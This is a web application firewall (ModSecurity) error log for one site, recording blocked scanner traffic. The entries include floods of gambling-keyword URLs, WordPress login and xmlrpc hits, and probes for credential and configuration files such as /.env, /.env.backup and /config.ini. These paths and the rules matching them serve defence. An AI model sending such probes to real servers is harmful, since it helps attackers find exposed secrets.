[Tue Mar 03 15:13:56.649782 2026] [:error] [pid 36783:tid 36809] [client 54.37.252.152:45736] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaaKND4tNYh5NtLaTXdr2AAAAA8"]
[Tue Mar 03 15:13:59.005439 2026] [:error] [pid 62485:tid 62494] [client 54.37.252.152:45746] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaaKN_9R7DZ1ENjPMXRL7QAAAcU"]
[Tue Mar 03 15:14:01.529619 2026] [:error] [pid 14042:tid 14064] [client 54.37.252.152:45756] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaaKOWeHGCmSEiIBcK40JwAAAZQ"]
[Tue Mar 03 15:14:03.913963 2026] [:error] [pid 36784:tid 36835] [client 54.37.252.152:57580] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaaKO3NeKOSGbW9kDgRjZQAAAEw"]
[Tue Mar 03 15:14:06.201676 2026] [:error] [pid 20872:tid 20880] [client 54.37.252.152:57592] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaaKPolYbNk3E_3CgBgWWAAAAQY"]
[Tue Mar 03 15:14:07.628292 2026] [:error] [pid 26186:tid 26211] [client 54.37.252.152:57608] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aaaKP_bZCNtk8wDak9ebNAAAAVc"]
[Tue Mar 03 15:14:08.736146 2026] [:error] [pid 62485:tid 62505] [client 54.37.252.152:57620] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaaKQP9R7DZ1ENjPMXRL9QAAAdA"]
[Tue Mar 03 15:14:11.215966 2026] [:error] [pid 14042:tid 14050] [client 54.37.252.152:57624] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaaKQ2eHGCmSEiIBcK40KwAAAYY"]
[Tue Mar 03 15:14:11.969777 2026] [:error] [pid 14042:tid 14051] [client 54.37.252.152:52670] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aaaKQ2eHGCmSEiIBcK40LQAAAYc"]
[Tue Mar 03 15:14:13.757270 2026] [:error] [pid 36784:tid 36835] [client 54.37.252.152:52680] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaaKRXNeKOSGbW9kDgRjeQAAAEw"]
[Tue Mar 03 15:14:34.879885 2026] [:error] [pid 14042:tid 14057] [client 54.37.252.152:52682] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaaKWmeHGCmSEiIBcK40QgAAAY0"]
[Tue Mar 03 15:14:37.341813 2026] [:error] [pid 14042:tid 14051] [client 54.37.252.152:59860] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaaKXWeHGCmSEiIBcK40RgAAAYc"]
[Tue Mar 03 15:14:39.828990 2026] [:error] [pid 26186:tid 26200] [client 54.37.252.152:59874] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaaKX_bZCNtk8wDak9ebRAAAAUw"]
[Tue Mar 03 15:14:42.178962 2026] [:error] [pid 36784:tid 36845] [client 54.37.252.152:33940] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaaKYnNeKOSGbW9kDgRjlgAAAFY"]
[Tue Mar 03 15:14:44.693629 2026] [:error] [pid 14042:tid 14067] [client 54.37.252.152:33946] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaaKZGeHGCmSEiIBcK40UQAAAZc"]
[Tue Mar 03 15:14:47.132263 2026] [:error] [pid 36897:tid 36921] [client 54.37.252.152:33948] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaaKZyZC69_8eM0Uouu4qAAAANM"]
[Tue Mar 03 15:14:49.497724 2026] [:error] [pid 26186:tid 26199] [client 54.37.252.152:33956] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaaKafbZCNtk8wDak9ebSgAAAUs"]
[Tue Mar 03 15:14:51.970002 2026] [:error] [pid 26186:tid 26190] [client 54.37.252.152:45026] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaaKa_bZCNtk8wDak9ebTwAAAUI"]
[Tue Mar 03 15:14:54.319525 2026] [:error] [pid 26186:tid 26203] [client 54.37.252.152:45036] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaaKbvbZCNtk8wDak9ebUAAAAU8"]
[Tue Mar 03 15:14:56.817227 2026] [:error] [pid 36784:tid 36840] [client 54.37.252.152:45052] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaaKcHNeKOSGbW9kDgRj3wAAAFE"]
[Tue Mar 03 15:14:59.238067 2026] [:error] [pid 36785:tid 36851] [client 54.37.252.152:45064] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaaKc3hJejauENG9qTgp6AAAAIE"]
[Tue Mar 03 15:15:01.778057 2026] [:error] [pid 36785:tid 36853] [client 54.37.252.152:56078] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaaKdXhJejauENG9qTgqAgAAAIM"]
[Tue Mar 03 15:15:04.150118 2026] [:error] [pid 36897:tid 36921] [client 54.37.252.152:56086] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaaKeCZC69_8eM0Uouu4xwAAANM"]
[Tue Mar 03 15:15:06.567491 2026] [:error] [pid 36785:tid 36851] [client 54.37.252.152:56098] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaaKenhJejauENG9qTgqHQAAAIE"]
[Tue Mar 03 15:15:08.966386 2026] [:error] [pid 36897:tid 36907] [client 54.37.252.152:56112] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaaKfCZC69_8eM0Uouu4zAAAAMU"]
[Tue Mar 03 15:15:11.284598 2026] [:error] [pid 36897:tid 36917] [client 54.37.252.152:56118] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaaKfyZC69_8eM0Uouu40QAAAM8"]
[Tue Mar 03 15:15:13.627221 2026] [:error] [pid 36784:tid 36840] [client 54.37.252.152:41386] [client 54.37.252.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaaKgXNeKOSGbW9kDgRj9wAAAFE"]
[Tue Mar 03 16:16:31.013789 2026] [:error] [pid 36783:tid 36799] [client 49.36.102.161:50521] [client 49.36.102.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.102.161, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaaY3z4tNYh5NtLaTXd5rwAAAAU"]
[Tue Mar 03 20:40:25.051365 2026] [:error] [pid 26186:tid 26207] [client 40.75.5.122:53018] [client 40.75.5.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.5.122, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aabWufbZCNtk8wDak9fK4QAAAVM"]
[Tue Mar 03 20:40:26.991608 2026] [:error] [pid 26186:tid 26190] [client 40.75.5.122:53018] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabWuvbZCNtk8wDak9fK6gAAAUI"]
[Tue Mar 03 20:40:27.856954 2026] [:error] [pid 36897:tid 36904] [client 40.75.5.122:58115] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabWuyZC69_8eM0UoutpOQAAAMI"]
[Tue Mar 03 20:40:28.715842 2026] [:error] [pid 36783:tid 36814] [client 40.75.5.122:53030] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabWvD4tNYh5NtLaTXe5XAAAABQ"]
[Tue Mar 03 20:40:29.567793 2026] [:error] [pid 36897:tid 36912] [client 40.75.5.122:58169] [client 40.75.5.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabWvSZC69_8eM0UoutpQAAAAMo"]
[Tue Mar 03 20:41:13.878490 2026] [:error] [pid 36897:tid 36921] [client 124.156.157.91:45662] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aabW6SZC69_8eM0UoutpXgAAANM"]
[Tue Mar 03 20:42:14.384452 2026] [:error] [pid 36785:tid 36852] [client 20.63.60.204:64369] [client 20.63.60.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.60.204, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "aabXJnhJejauENG9qTjiPgAAAII"]
[Tue Mar 03 20:42:16.442630 2026] [:error] [pid 36785:tid 36852] [client 20.63.60.204:64369] [client 20.63.60.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabXKHhJejauENG9qTjiTQAAAII"]
[Tue Mar 03 20:42:17.275310 2026] [:error] [pid 36785:tid 36858] [client 20.63.60.204:3562] [client 20.63.60.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabXKXhJejauENG9qTjiUgAAAIg"]
[Tue Mar 03 20:42:18.102298 2026] [:error] [pid 36785:tid 36853] [client 20.63.60.204:3801] [client 20.63.60.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabXKnhJejauENG9qTjiVgAAAIM"]
[Tue Mar 03 20:42:18.931466 2026] [:error] [pid 36897:tid 36904] [client 20.63.60.204:3789] [client 20.63.60.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "aabXKiZC69_8eM0UoutpuAAAAMI"]
[Tue Mar 03 22:11:33.691583 2026] [:error] [pid 36897:tid 36913] [client 178.16.53.90:59404] [client 178.16.53.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aabsFSZC69_8eM0UouufRQAAAMs"]
[Tue Mar 03 23:10:42.954837 2026] [:error] [pid 36897:tid 36913] [client 51.75.119.154:44300] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aab58iZC69_8eM0UouvBSAAAAMs"]
[Tue Mar 03 23:10:45.354522 2026] [:error] [pid 36897:tid 36906] [client 51.75.119.154:45356] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aab59SZC69_8eM0UouvBSQAAAMQ"]
[Tue Mar 03 23:10:48.032719 2026] [:error] [pid 36783:tid 36795] [client 51.75.119.154:45358] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aab5-D4tNYh5NtLaTXff7QAAAAE"]
[Tue Mar 03 23:10:50.363742 2026] [:error] [pid 36783:tid 36807] [client 51.75.119.154:45362] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aab5-j4tNYh5NtLaTXff7gAAAA0"]
[Tue Mar 03 23:10:52.747885 2026] [:error] [pid 36897:tid 36917] [client 51.75.119.154:45376] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aab5_CZC69_8eM0UouvBZAAAAM8"]
[Tue Mar 03 23:10:55.374447 2026] [:error] [pid 36784:tid 36829] [client 51.75.119.154:46768] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aab5_3NeKOSGbW9kDgQA1wAAAEY"]
[Tue Mar 03 23:10:57.784634 2026] [:error] [pid 36784:tid 36843] [client 51.75.119.154:46782] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aab6AXNeKOSGbW9kDgQA5gAAAFQ"]
[Tue Mar 03 23:26:03.054145 2026] [:error] [pid 36784:tid 36829] [client 20.151.116.226:61272] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aab9i3NeKOSGbW9kDgQGkwAAAEY"]
[Tue Mar 03 23:26:03.883546 2026] [:error] [pid 26186:tid 26192] [client 20.151.116.226:61197] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aab9i_bZCNtk8wDak9fjQQAAAUQ"]
[Tue Mar 03 23:26:04.711174 2026] [:error] [pid 36784:tid 36824] [client 20.151.116.226:61297] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aab9jHNeKOSGbW9kDgQGlAAAAEE"]
[Tue Mar 03 23:26:05.575499 2026] [:error] [pid 14042:tid 14057] [client 20.151.116.226:61264] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aab9jWeHGCmSEiIBcK6N4wAAAY0"]
[Wed Mar 04 00:06:27.863871 2026] [:error] [pid 36897:tid 36906] [client 163.7.9.65:53978] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sh"] [unique_id "aacHAyZC69_8eM0UouvhbwAAAMQ"]
[Wed Mar 04 00:06:27.864117 2026] [:error] [pid 20872:tid 20889] [client 163.7.9.65:53928] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aacHA4lYbNk3E_3CgBhHawAAAQ8"]
[Wed Mar 04 00:06:27.866036 2026] [:error] [pid 36897:tid 36918] [client 163.7.9.65:53956] [client 163.7.9.65] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/config.ini"] [unique_id "aacHAyZC69_8eM0UouvhbgAAANA"]
